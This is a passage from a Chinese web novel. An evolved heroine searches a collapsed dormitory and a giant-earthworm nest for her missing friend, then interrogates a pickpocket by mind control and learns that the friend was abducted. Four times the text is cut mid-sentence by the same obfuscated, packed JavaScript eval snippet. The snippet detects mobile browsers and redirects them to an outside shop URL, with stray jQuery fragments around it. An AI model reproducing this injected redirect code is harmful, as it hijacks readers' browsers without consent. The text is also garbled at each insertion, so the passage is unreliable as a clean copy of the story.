不多时,林萤便下到了地底,石柱上方传来淅淅索索的响动,没有石头的驱赶,那两条蚯蚓的行动变得慢慢吞吞,大半天了还没爬下来。 林萤决定不再等它们,而是自己先去探探路。她拿出手机,就发现不知道什么时候电话已经挂断了,而自己的手机已然没了信号,想要通过手机联系杜煦的方法被直接排除了。 林萤只得将手机揣进兜里,而后待在原地四下打量。 尽管雾气很大,但林萤观察到这里的空间并不小,地面是高低不平的,有巨大的石块也有深褐色的土堆,想要一眼望到尽头几乎不太可能,阻挡视线的东西太多了。 林萤以石柱为参照物,在地上画了八个方向,按照东、西、南、北、东南、西南、西北、东北八个方位来寻找。 她先是向东边走去,这一路有许多蚯蚓的尸体,也有很多散落的进化核,林萤将它们一一吸收,不知不觉便走到了尽头,于是她又向回走去,她一边走一遍数,这一路单程共是四十九步,按每步0.7米来算,从石柱到东边的尽头大概是34米。 返回石柱后,林萤接着向西行去,她第一步迈得太快,以至于没注意脚下,不小心踩到了一条正在睡眠的蚯蚓,将它薄薄的皮肤踩了一个洞,褐色的肉块和透明的汁水溅了出来,使得她原本干燥的鞋子也变得湿湿嗒嗒。林萤蹲下身,找到这条蚯蚓的进化核吸收后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17675395|205358||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' ,又继续向前行去,只是这次下脚的时候分外谨慎。 然而,越往西行,蚯蚓就越多,而且个头也越来越大。林萤甚至看到一条水桶粗的蚯蚓,它被一群稍小的蚯蚓簇拥着,盘在一个小山似的土堆上,它的头尖尖的,由于体型过大,皮肤近乎网状,里面的血肉组织看上去也很明显,给人的感觉又怪异又难受,看上去不像是阳间的产物。 林萤只看了一眼,便赶紧移开目光,她又看向大蚯蚓身下的土堆,就见那个土堆看上去似乎很松软,土壤里还夹杂着树根和枯枝,再仔细望去,那些树根里,似乎埋着一个接一个的疙瘩,形状大小像鸡蛋。 这是——蚯蚓卵? 怎么会这么大! 林萤正要靠近去看,就见那条最大的蚯蚓突然像眼镜蛇一样昂起了头,看样子是准备攻击林萤。 “大家伙,我可不想和你打,说实话,有点恶心……”林萤举起手,打算绕行。 谁料,那大蚯蚓却并打算不放过她,径直甩动长长的躯体,朝林萤的头抽了过来。一阵土腥味袭来,林萤伸出小臂格挡,“啪”地一声,林萤瞬间觉得自己像是被重型轮胎砸了一下,整个胳膊都开始发麻,好在她进化过,身体素质不比以前,否则怕是会被这一下给击飞。 罢了,打吧,也正好试试自己的身体进化到哪种地步了。 打定主意,林萤也认真了起来。 如果她没有猜错,这只巨大蚯蚓是其他蚯蚓的“母亲”,正是因为它先进化了,所以产的卵也是进化过的卵,生出来的蚯蚓自然是进化过的蚯蚓。这些蚯蚓数量大食量也大,把地底给吃空了,所以才引发了此次灾难。之所以其他宿舍楼没事,大概是因为只有这座宿舍楼是以前盖的,周围绿化比较好,蚯蚓的食物比较多,所以大蚯蚓才会在这里安家? 林萤并不知道自己的判断是否正确,但可以肯定的是这条大蚯蚓已经进化多时了,不然也不会产出这么多小蚯蚓。不过,既然进化可以由母体传播给幼体,那么,人类的妈妈进化了,她们生下来的孩子是不是也是进化过的? 林萤将这个问题暂且搁置,活动了一下手腕和脚腕,主动迎上蚯蚓的攻击。 上勾拳下勾拳、脚踢、闪躲、不多时,林萤便将那只巨大蚯蚓打倒在地,见蚯蚓已无力反抗,林萤想了想,对它说:“你再下个卵给我看看。” 然而,这条蚯蚓却不像研究院里的那只白猫或者像进化犯罪者王二峰那样听从林萤的指挥,它压根就听不懂林萤在说什么。 “原来如此!” 虽说蚯蚓有大脑,但是它的脑子非常原始,只能完成简单的条件反射,听不懂人类的指令——看来精神控制类的能力,只能针对智慧生物。头脑简单也有简单的好处,至少不用受人胁迫。 一番计较,林萤不再手下留情,她迅速结果了巨大蚯蚓,掏出它体内的进化核,就见其他小蚯蚓兴奋地围了上来,扎堆在巨大蚯蚓的身体里,直将它变成一张死皮。 30. 女寝的男声 这条大蚯蚓体内的进化核果然要比其他蚯蚓大一些,林萤手上用力,将它碾碎吸收,而后继续向西行去。不到十米,林萤便到了尽头,一路上她遇见了好几个小山一样的土堆,其中有几堆是蚯蚓的排泄物,还有几堆是蚯蚓卵。 林萤目测了一下,若是这些卵全部孵化,估计得有好几千条,单是想想它们全部孵化出来的画面,林萤就打了一个寒颤,更别提进化后的蚯蚓变得嗜血,攻击力也翻了好几倍,造成的破坏更是无法估量。 如果说方才吸取那些小蚯蚓后,林萤的呼吸系统有了逐步的改善,那么在吸收了大蚯蚓的进化核后,林萤感觉自己对这些毒气的抵抗力有了质的飞跃,此刻,她完完全全可以正常呼吸了。 “杜煦!杜煦!” 她喊了两声杜煦的名字,除了吸引来一群蚯蚓后,并没有什么回音。林萤解决掉缠着她的蚯蚓,重新跑回石柱。 必须要加快速度了! 这次,她径直向南走去,这边的地势比其他几处低,但同时又有许多巨大的岩石立在地面,被拦住去路,林萤没有选择绕行,而是直接跳了上去站在巨石的顶端,接着她就发现这一片看上去就像是个巨大的采石场,连带着尽头也全是巨大的石头,几乎没有间隙。 杜煦不可能在这里! 林萤正要走,就在这时,她似乎听到了水流的声音,循声寻去,只见水流似乎来自于一块巨石背后,林萤眼尖地发现,那巨石贴着尽头的一侧已经变了色,摸上去湿哒哒的,显然是水从另外一面渗透过来了,想必是连续的震动引起了地下水位的突变。林萤爬上巨石,将耳朵贴在上面,她听到了低沉的轰鸣——是水流动的声音,巨石的那边有一条地下河! 要再快点!林萤逐渐变得焦急,她以极快的速度跑回石柱,又向北行去,同样是一无所获。她加快速度,绕着这个被蚯蚓啃噬出来的空间地毯式搜索,皆是没有发现杜煦。 之后,林萤将怀疑的目光放在了那些可疑的土堆上,那些土堆那么大,里面埋一两个人完全没有问题。于是,她搬起大石块,将那些土堆包括蚯蚓卵全部捣毁,然而却还是什么都没有找到。 经过林萤方才的探查,这里的空间总体看上去是封闭的,总面积比宿舍楼的占地面积稍大一圈,除了南边的巨石堆林萤无法挪动,其他地方她都仔细看过了,没有大到可以让人钻出去的洞口,所以应该不存在杜煦自己爬出去的情况。 就算——林萤垂下眼睑——就算杜煦发生了意外,比如说被蚯蚓吃了,那至少也会有衣物残留下来的痕迹,有它们啃不动的骨头剩下,可是这个地方丝毫没有人的踪迹,完完全全就是一个蚯蚓巢穴,一个货真价实的蚯蚓窝! 想到这里,林萤将手中拿着的石头向远处砸去,就听“梆”的一声,石头似乎砸在了什么硬物上,又“骨碌碌”滚落下来,这个动静……像极了砸在水泥墙面上的声音。 林萤立即上前查看,刚才她只顾着丈量和检查脚下,忽略了这里的墙壁,现下看去,发现这里的尽头除了天然形成或者是由蚯蚓啃噬出的泥土,还有几处明显是砖头加水泥堆砌的墙面,不过看上去经时已久,表面早已被腐蚀,要不是方才那块石子,自己压根就注意不到这里。 像是地基,但地基不可能打这么深,六层高的宿舍楼,地基最多只需要5米左右,况且自己宿舍楼的地基早已歪歪斜斜地悬在空中,哪里会像这处墙面一样。 此处看似处处天然,实际却有人为痕迹,四五十年前或者更久前,有人来过这里,留下半截墙壁,然后就走了。 林萤觉得自己如被网缚住的小虫一般,陷在一角,不知全貌,挣扎着,却始终无法逃脱。 燥急反静,林萤在石柱下站定,掏出手机看了一眼,她下到这里已经有半个多小时了。这半个小时里,不断有碎石从上空掉落,也就是说,坍塌仍在持续。 就在这时,她听到一阵细微的响动声,而后余光看到从南边涌过来一股黑色的潮水,林萤仔细望去,就见南边的巨石几乎都泡在了水里,只有石头的尖端还露在外面,看来巨石已无力阻挡水流。 没必要再待下去了,若是再有大的坍塌发生,自己说不定还得泡在尸堆里等待救援。打定主意,林萤扒紧石柱,向上攀去。 不多时,林萤便爬了上来,此时的大厅已经不复半个小时前的模样,如果说那时还能勉强看出来这是个公寓入口,那么现在这里已经完全成了专门堆放建筑垃圾的垃圾厂。 无数粉尘在空中飘荡,简直比下方的臭气还让人难以忍受。林萤循着记忆走到楼梯口,就见这里除了几根歪歪斜斜的钢筋后,完全没有其他落脚之处了。 不过,这难不倒林萤,她凭借着进化后的臂力有惊无险地爬到了第三层,她心里焦急,脚步也快,下脚时没注意,卡进了几块砖缝里。林萤突然停了下来,她的脚尖又轻轻碰了碰地面,而后动手将几块碎石挪开。她看见了一节手臂——手腕上还系着一根红绳——血泊里的手臂。 林萤迅速将其余水泥块扒开,她看见了一个面熟的女孩,对方的脑后破了个大洞,脸也随着变了形,但林萤依然记得这张脸生前的样子,她住在三楼靠里侧的宿舍,经常与林萤在女寝的楼道相遇,偶尔还会打个招呼。 林萤抹了一把脸,将女孩的尸体靠墙放置,而后找到杜煦的宿舍,一脚踹开早已变形的门走了进去,杜煦自然没在,里面乱糟糟,不知是谁的香水被打翻在地,玻璃渣到处都是,屋子里也弥漫着一股柑橘的味道。 林萤回到楼梯口,将女孩的尸体扛在肩上,又往上爬了一层,她仰起头,透过裂开的楼顶隐约看到了外面的夜空。越往上走,楼顶的裂缝越大,林萤观察了一下,六楼是从公共洗手池的位置裂开的,洗手池的对面有两间宿舍,原本挨在一起的两间宿舍现在大概隔了近三米,若不是因为下面几层已经陷下去了,这个距离还会更大。林萤此时还抱着一种小小的期望——若是杜煦看到大楼在下陷,她或许会掉头往上走。 抱着这种期待,林萤来到第五层,她看到宿舍楼外已经拉好了警戒线,并且每隔几米都放置着一个警示灯,还有一个大喇叭在旁边不断提醒大家不要靠近。同时,她也看到不远处有几个消防车,正拉着梯子准备救援,似乎是还有人在楼里。 这个发现让林萤欣喜不已,她先是将五楼的宿舍挨个查看了一番,一无所获后,她又来到了六楼,她先是去左半边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17686816|205358||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 的宿舍查看了一下,而后从大楼的裂开出纵身一跃,跃到了右半边。 宿舍楼不远处的空地上,仍旧有一些睡不着的学生在楼下徘徊,一个眼尖的人指着裂开的楼顶:“我艹,刚刚有个东西跳过去了!” 其他人都顺着他指的方向看了过去,“眼花了吧,难么宽的距离,怕是只有进化者才能跳过去。” “我看得清清楚楚,绝对有人跳过去了!说不定就是进化者!” “我也看见了,但我觉得那不是个人,人哪有那么大?” 徐佳妮也在人群之中,莫名地她想起了林萤,然而很快,她又甩甩头,将这个念头抛开,拿起手机又一次给杜煦发消息。 六楼的林萤正在侧耳倾听,她听到了一个很轻微的呜咽声。 “杜煦?” 林萤喊了一声,那个呜咽声顿时就止住了,接着林萤就听到一个带着浓重鼻音的女声,“救命啊!我在这里!” 这一声求救,让林萤如同暗夜盲行的人看到了曙光,她一手扶稳身后的尸体,一手扶墙大步走向声音的来源,那是六楼最里侧的宿舍。 林萤在里面发现了一个胡乱披着风衣的陌生女生,她的头发还有些湿,身上是一股混凝土也无法掩盖的沐浴液味,显然事发的时候她正在沐浴。此刻,那个女生正紧紧扒着阳台边上的门框,除了手臂在用力,整个人的身子都软塌塌地斜倚在地面上,似乎是打算从早已摇摇欲坠的阳台跳下去,却有点怕始终没敢跳。 林萤来到窗户边上,先是将身后的尸体平放在地上,而后打开手机上照明,一边挥动一边喊道:“这里,这里还有人!” 见底下的人注意到后,林萤一把将女生拉起,对她说:“别怕,救我们的人马上就来了。” “好,谢,谢谢……”女生往后退了一步,紧紧贴着墙面。 云梯靠近,林萤将已经吓得说不出话的女生交给救援人员,而后自己也跟着下去了,尸体还在楼上,不过林萤已经将其存在告诉了相关人员。 待两只脚都踏实落在地面上,林萤立即侧过身询问刚刚的女生她在等待救援时,有没有听到其他女孩的求救声。女生回想一番,告诉林萤,她并没有听到女孩的声音,倒是似乎听到了男人的声音。 “男人?”女生宿舍怎么会有男人?林萤皱了皱眉。 “我也不确定,那时候我太害怕了,我在浴室,我关了水,用毛巾把自己裹住,我下意识以为那是来救我的人,可是他并没有往这边走,他径直下楼了……不过也有可能是我听错了……” 林萤狐疑地看向她,“你为什么大半夜洗澡?” 女孩瞬间红了脸,支支吾吾半晌后才小声回答:“宿舍只有我一个人,感觉有些无聊,所以我做了点手工活……” 林萤秒懂,“原来如此,但是你没有求救吗?” 女生摇了摇头,似乎有些不好意思,“……我是想穿好衣服再求救的。” 林萤点了点头,又问:“你听到他在说什么吗?” “没有,他并没有说话,只是咳嗽了一声……” “咳嗽?” “嗯,除此之外,我没有听到其他任何人的声音……” 31. 小宾馆之夜 林萤随后又问了女孩几个问题,见再也问不出什么有用的信息后,才放弃询问。而后,她来到消防员身边,告诉对方她刚才看到这个楼下似乎有一个巨大的洞,里面有许多进化过的动物,让他们一定要多加小心。 话说到一半,就见一个熟悉的人影慌慌张张跑了过来,林萤定睛一看,这不是张老师嘛,他怎么也来了? “张老师!”林萤挥了挥手。 张老师看林萤,立即走了过来,却在即将靠近林萤时顿住,又生生退了一步,“林萤,你没事吧,我记得你就住这栋?” “老师,我没事,您放心吧!对了,张老师……”林萤隐去自己下到地底,将进化蚯蚓的事简单告诉了张老师。 “好的,我知道了,这边有我在,你放心吧!” 得到肯定的回答后,林萤才迈步离开。方才还在楼上时她检查了一番,周围除了被自己救的女孩,并没有其他被困的人,也就是说,仍然没有杜煦的下落。 此时,林萤的手机已经有了信号,她打开查看,发现自己足足有十六个未接电话,全都是杜煦打过来的,从第一个电话到最后自己接通的电话之间,足足隔了有四分钟,也就是这四分钟耽搁了杜煦,让她没能成功下楼。 林萤垂下眼,又拨打了一次杜煦的电话,这次,电话没有通,语音提示对方已关机,林萤握着电话的手紧了紧。这种情况下有两个可能,一是手机没电了自动关机,二是有人拿了杜煦的手机,不管是哪一种情况,都不容乐观。 此时,已经到了后半夜,撤离出来的女生都被宿管阿姨带到一边的空地上统计人数,预备之后再带去操场上暂时安置。待阿姨统计完,林萤看了看,此次意外除了那个去世的女生和杜煦,其他人都在,当然受伤的人也不在少数。 林萤还没有出来之前,徐佳妮已经将杜煦的手机报给了救援人员,他们在第一时间进行了定位,结果显示杜煦的手机仍在这一区域,具体在哪里,定位往往有数百米的误差,所以大家也没有办法立即找到。 缺了人,救援仍在继续。林萤看到其他宿舍楼也都亮起了灯,很多人在辅导员的带领下背着大包走了出来,显然是怕住的宿舍楼也出问题。不论如何,今夜注定是一个不眠夜。 林萤找阿姨登记了一下,对方让她在一张纸上填了姓名、宿舍号、专业,以及联系电话,这才放她走。 林萤迫不及待冲出人群,实在是她的衣服太脏了,不仅有灰尘还有蚯蚓的黏液和尸体身上的血液,除此之外似乎也有很浓重的腥臭味,只是她自己闻不到。 不过,就算林萤自己闻不到,也能从周围人的表情看出个一二,尤其是那个被自己救了的女孩,既想上前拥抱她一下,又被臭味道熏得难受,最后只能一边捂着鼻子一边握了握林萤的手,甚至最后还没忍住“呕”了一声,实在是很尴尬。 林萤先是去实验室的更衣间拿了一套备用衣服,又检查了一下实验仓的小动物们,见它们都没有异常,这才关上门离开。 她拿着宿管阿姨的证明书走出小南门,来到对面的商业街,在这里找到了一家二十四小时营业的小宾馆。说是小宾馆,其实是村民自己盖的自建房,一共四层,每层四个小房间,二三楼都住满了,四楼也只剩楼梯口的一间房,房子虽小幸好带了卫浴。一进去,林萤第一件事就是把自己洗刷了一遍,而后又把所有的衣物都清洗了。 看来以后不能随便吸收进化核了,虽然说不怕臭气挺好,但闻不到臭味也是个大问题。当然,她的嗅觉并没有失灵,因为她还闻得到杜煦宿舍里的香水味。 一切收拾完毕后,林萤躺在稍微一动就咯吱作响的床上,她的双臂平铺在体侧,两只脚微微外八,此时此刻,她将所有的力量都卸了下来,感觉自己浑身轻飘飘的,头也轻飘飘、腹也轻飘飘、腿也变得轻飘飘,就连意识也轻飘飘的。 而后,她突然猛地坐了起来,不对劲,太不对劲了! 这些天不少学生都离校了,南门外生意难做,连水果店的老板都不怎么进货了,为什么这家小小的旅馆竟然住的这么满? “隔壁的,大半夜动静能不能小点!又是洗澡又是摇床,还让不让人睡了!” 林萤房间的墙被砸得砰砰作响,同时从隔壁传来粗矿的男声,听音色,大概是个中年男人。 林萤想了想,没有吭声,却悄悄起身,一边用脚蹬床板,让它发出“吱呀呀”的响动声,一边透过窗帘缝隙向外看去。 “艹你马的!还来劲了是吧?!” 林萤不言不语,脚下的响动却未停歇。 一秒、十秒、二十秒…… 半分钟后,隔壁果然传来了沉重的踩地声——有人下床了,单脚跳的声音——在找拖鞋,接着便是“吧嗒吧嗒”的走路声和拧动门锁的声音——人要出来了。 林萤立即停止蹬床,躲在窗帘后,一只眼睛盯着外面,满脸都是兴奋。 就听“吱呀——”一声,隔壁的门打开了,紧接着,林萤这边的房门便“哐哐”地响了起来,与此同时,一道男声传来:“龟儿子!开门!” 由于门和窗户在一条线上,林萤只能看到这个男人侧面的身影,他似乎有点胖,肩粗脸圆,尤其是肚子,就像揣了一个宁夏西瓜。 西瓜男砸了几声,林萤都没有理会,被吵加上被无视,西瓜男更愤怒了,砸门的力气也逐渐变大,“龟儿子,你出来,别像个缩头乌龟一样躲着不敢开门!” 然而,林萤依旧站在窗边装聋作哑。 这时,对面的两间房门也打开了,左边是一个光着膀子的男人,他揉着惺忪的睡眼看向西瓜男,“你吵吵啥呢,把我都吵醒了!” 右边则是一个平头壮汉,他没有说话,只是用一双吊梢眼看向林萤这边的窗户。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17692704|205358||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 西瓜男转过身去,“大哥,不怪我,隔壁来了两个不知羞的,大半夜在那搞来搞去,床吱呀呀的,吵的人又烦又燥!” “你管人家年轻人干啥……好了,赶紧睡!咱还有正事,别节外生枝!”说罢,男人转身关上了房门。 吊梢眼这时候说话了,他的声音压得很低,似乎是怕吵醒了什么,“动静小点,要是......我就把你的头——拧下来!”说着,吊梢眼抬手狠狠拧了一下,然后也不待西瓜男反应,便缩回房轻轻关上了自己的门。 林萤将这几个人都看了个清楚,果然,这几个人和楼下住的是一伙的,而且看样子,楼下住的人似乎地位更高,更奇怪的是自己隔壁住的这个西瓜男从她回来的时候就一直醒着。现在是凌晨四点,正是大多数人熟睡的时间,隔壁的男人订了房又不睡觉,那他在做什么? 西瓜男说了一声好,又狠狠砸向林萤的房门。不料,他一拳刚下去,指关节才碰上房门,冷不防门从里面打开了,一只手擒住他的拳头,顺势将他往屋里一拽,西瓜男的大脑还未反应过来,身体便踉跄着被拖进了屋子。 西瓜男大骇,这只抓住自己的手很明显是女人的手,尚且覆盖不住自己的大拳,却仿佛有着千钧之力,自己半分抵挡不能!然而,还未等他看清这只手的主人,便觉脖颈一痛,彻底失去了意识。 林萤用床单将昏迷的西瓜男捆了起来,又将枕套塞进他的嘴里,这才踮着脚尖幽灵一般闪到西瓜男的房间里。 房间的灯还开着,里面乱七八糟,地上堆着几个泡面桶,旁边散落着数团卫生纸,衣服、裤子、背包,熄灭的烟头更是扔的到处都是,地上还有一滩意味不明的黄褐色液体。 林萤强忍着不适四下张望,就见双人床上摆着一张A1大小的地图,上面的蹊暇市用红色彩笔圈了起来,周边的青檀市也圈了起来,林萤粗略看了一眼,将地图折起来塞进了自己的衣兜里,而后就见枕头下面鼓鼓的,似乎塞了什么东西。 林萤顿时来了精神,她小心翼翼掀开枕头,定睛看去,哪里有什么宝贝?枕头下的分明是两双脏兮兮的袜子!看样子已经穿了很久,脚趾尖处都定型了。 林萤下意识抬手扇了扇,不用想,这两双袜子一定都是臭烘烘的,此时此刻,她又无比庆幸自己闻不见臭味,否者一定会被熏的隔夜饭都吐出来。 随后,她又在屋内仔细检查了一圈,连洗手间也没有放过,却皆是一无所获,正当她要离开时,走到门口回过头去一看,却突然发现靠近床头柜的床底似乎有什么东西在反光。 林萤走过去一看,发现那是一个一次性密封袋,袋子的右下角翘了起来,正好被灯照亮了,密封袋里有一部手机——林萤无比眼熟的一部手机。手机壳上画着一只正在喝珍珠奶茶的卡皮巴拉,上面用圆体写着四个大字“情绪稳定”。 ——这是杜煦的手机。 32. 扒手黄立志 林萤捏着密封袋回到自己的房间里,西瓜男仍在昏迷中,林萤将他提放进卫生间,而后一盆凉水迎着西瓜男的面门泼了上去。 “咳咳……”西瓜男被凉水泼醒,咳嗽了两声,正欲破口大骂之时,下巴猛地被一只手抬了起来,来不及收回的舌头被倏然合在一起的牙齿咬破,疼得他直打哆嗦。 林萤居高临下站在他的面前,林萤的背后是浴霸刺眼的光芒,她盯着男人狼狈的身影,徐徐开口: “从现在开始,我问什么,你便如实回答什么,不许大叫,不许求救,当我问完所有问题后,你将会遗忘这段经历,明白了吗?” 西瓜男不由自主抬起头,他的嘴唇一张一合,而后吐出三个字,“明白了。” 林萤提着密封袋里手机,“这个手机是从哪里拿来的?” “这是我从地上捡的。” “捡的?描述一下具体情况。” “是。晚上我迷迷瞪瞪都快睡着了突然被吵醒,才知道是云栖大学有个宿舍楼塌了。我出去看热闹,那边拦着不让我们进去,我只能站在校外的围栏边上往里看,好巧不巧来了尿意,我就找了个没人的地方,那里有好多树,我贴着树根刚尿完正要提裤子,这时有个穿着一身黑衣服的男的扛着一个女生从围墙里面跳出来了,我一看那男的模样,就知道他不是个好人……” “那个女生什么样,还活着吗?” “那个女生穿着毛绒睡衣,披头散发,咱看不清她的脸,不知道她究竟长啥样……但是她是光着脚的,对,是光着脚的!还有啊,她头发特别好,像瀑布一样又顺又滑,一看就是那种千金大小姐的头发……”说到这里,西瓜男对上了林萤不善的目光,他忙咽了咽口水,继续说道:“看她当时的样子,一动不动,好像是在睡觉,应该还活着吧!” “继续说那个男的。” “哎,好……那个男的从围栏那边跳过来,不对,说是跳有点不贴切,要我说,那男的是直接从里面飞出来的,真的是飞出来的,你想,云栖大学的围栏那么高,而且还通了电,那男的还扛着一个的女的,那至少也要一百斤左右吧?他就像扛了一坨棉花一样,直接从围墙里飞出来,‘腾’地一下落在草地上,连腿都没有打弯。我估计他是进化了,最近不很多进化的人嘛!哎呀,我又没说到重点对吧?我给你说,那个男的的车就停在路边,他把那女生塞到车里面,然后打了个电话,说什么……‘孤王已出,收到收到’之类的……说完,就开车带女孩走了。” 林萤问:“他还说什么其他的了吗?” 西瓜男似乎陷入了回忆,而后他眼睛一亮,“对了,那个黑衣男还说自己是什么‘一位恩’的成员,代号好像是33。除此之外,再也没说什么了,就算有,我听不清也记不得了。” “你知道他的车牌号吗?” “不知道,我本来就站的远,而且我怕被发现,一直都躲在树后面,动都没动连裤子都没提......我就知道那是一辆黑色小轿车,最常见的那种,其他就不清楚了。” “他们往哪个方向走了?” “顺着大路走的吧,我想想……应该是往北。” “那么这个手机你是在什么时候又是在哪里捡到的?” “那个男的走了以后,我在他落地的草坪上捡到的,这个手机屏幕一亮一亮,正好被我看到了。不过,我拿到手机后就直接关机了,本来想着明天拆开拿去卖,没想到被你找到了。” “那时候大概是几点?” “你这就问对人了,我这人最有时间观念了,捡到手机的时候,我顺便看了一眼,当时屏幕上显示的是两点零七分。” 两点零七……林萤回想了一下,那个时候她应该正在和徐佳妮说话,也就是说,黑衣人是在宿舍楼二次塌陷前离开的。 林萤将手机放在一边,“还有几个问题,你是做什么的,从哪里来,和另外几个房间的人是什么关系?” 西瓜男的嘴角颤动了两下,眼睛似乎有恢复清明的迹象,却在对上林萤的双眼时又变得呆滞: “我是个……扒手,你别看我长这个模样,我偷东西的技术可不是盖的!不夸张地说,但凡我看上的东西,我都能偷来,不过我最近没干过大票,都只是去超市偷偷鸡蛋偷偷方便面什么的……我怕偷到进化者头上,他们打人可凶了!我是从青檀市过来的,那边太乱了,我怕自己有一天小命不保。另外几个人我也不熟,他们是我来蹊暇市的路上遇见的,大家都是从青檀来的也算半个老乡,应该相互照顾的,但他们大多数都是不入流的骗子,听说他们中还有杀过人的……别这么看我,我们坏人也是有鄙视链的,反正我这个靠双手吃饭的人看不起他们坑蒙拐骗的。” “你有没有把今天晚上发生的事情告诉他们?” “当然没啊!你想想,我就捡了一个手机,告诉他们了还得和他们一起分对不对?我们也就是结伴走一阵,指不定明天就各奔东西了。” 难怪这几个人看上去都不富裕还各开各的房,原来都防备着对方呢! 林萤思索一番,又问:“你叫什么,电话多少?” 对面的西瓜男一一回答完毕,林萤又给了他一手刀,乘他昏迷将他拎回隔壁的房间,并用他的手机报了警。 林萤在自己的手机上存下“黄立志”的联系方式,而后看了一眼时间,从她开始盘问黄立志到结束,用时大概有十五分钟,也就是说,自己的精神控制能力最短也能持续十五分钟——这个时间比自己预想中的还要长一些。 不过,精神类的能力一向与被控制人有很大的关系。林萤明白,这十五分钟是建立在黄立志没有什么抵抗力的时候,而且仅限于意志力比较薄弱的人,说不定对上意志坚定的人,自己根本控制不了十五分钟。想清楚这点,林萤非但没有失落,反而很平静。精神控制在危难时是可以救命的招数,别说十五分钟,哪怕是一点五分钟,都可以扭转乾坤。 然而很快,林萤便觉一阵眩晕,眼前的一切都在转,而自己也像踩在了波涛汹涌的巨浪上,每一步都晕乎乎的,她强撑着走到床边,瘫倒在了床上。 待她再次睁开眼,已是一个小时之后。 林萤摸了摸仍在发紧的头皮,强撑着坐了起来,看来精神控制类的手段以后还是要慎用,有点伤敌一千自损八百了。 她一边按摩太阳穴一边打开手机,翻开通讯录,准备寻求帮助。随后,她在一堆联系人中找到林祐均,试探地给他发了一条信息:林指导,早上好呀,你起床了吗? 发完,林萤看了眼窗外,这时候,天边已经亮了,又一个清晨即将来临。 然而,还未等林萤放下手机,就看到屏幕在闪烁,是林祐均打来的电话。 “喂,林指导,你怎么醒来这么早?” “林萤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17697392|205358||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' ,我不是醒来,我是一夜没睡。你们学校的事情我已经知道了,刚才唐医生还问起你,我们正预备给你打电话,万幸你没事。”林祐均的声音带着一丝愉悦。 林萤道:“林指导,我有事需要你的帮助。” “我听说有一个学生失踪了,你打电话,应该就是为了那个学生,对吗?” 林萤抿了抿嘴,“是的。林指导,她是我的好朋友,并且她失踪也有我的原因……” “林萤,不要太自责,不论是校方还是我们这边,都在关注着这件事。” 林萤继续道:“林指导,长话短说,我这里有一条关于她的线索,我想,有了这个线索,一定能早点找到她。”林萤将黄立志的话告诉了林祐均。 “孤王已出、一位恩、33……林萤,你确定自己没有念错?”林祐均问道。 “确定。” “好的,林萤,我会留意这方面的消息,但是最直接的办法就是先追查那辆车的踪迹,我现在就去查监控。”说到这里,林祐均停顿了一下,“对了,这件事有后续我会第一时间联系你,所以你不用急着打听,这几天就好好休息一下。” “好的,谢谢林指导。”林萤挂掉电话,重新坐回床上。 “孤王已出、一位恩……” 林萤挠了挠头,黄立志虽然有点口音,但他的普通话也还行,倒不至于把这几个字读错,难道是那个黑衣男有口音? 现在只知道“一位恩”是个组织,黑衣男是代号“33”的成员,这个“孤王已出”又是什么?林萤想不出个头绪,索性仰躺在身后吱吱作响的床上。 她拿起手机,在输入法里输入“guwang”,立即出现了一行词组:固网、骨王、孤王、古网、蛊王、股王、谷王、古王。如果王立志没有说错,那么实际的词组应该就在这几个之中。而后林萤又输入“yiwei”:以为、一味、意味、依偎、一位、意为、异味……这个音的词组太多,如果再加上“en”这个音,那么可以组合的就更多了,但是无论怎么组合,都不太像是一个正经组织的名字。 时间一分一秒过去,林萤又拿起杜煦的手机,隔着密封袋,她打开手机,一堆信息接连不断跳了出来,只是林萤不知道杜煦的密码,所以看不到这些信息是什么。 正在这时,低电量提示弹了出来,林萤正想关掉手机,一个电话打了过来,林萤顺势点了接听。 “喂,煦煦!你终于接电话了!你在哪,没事吧?”那边传来女孩激动的喊叫声。 “喂,徐佳妮,是我,林萤。” “……林萤,怎么是你?这不是杜煦的电话吗?” “杜煦还没有找到,我只找到了她的手机。” 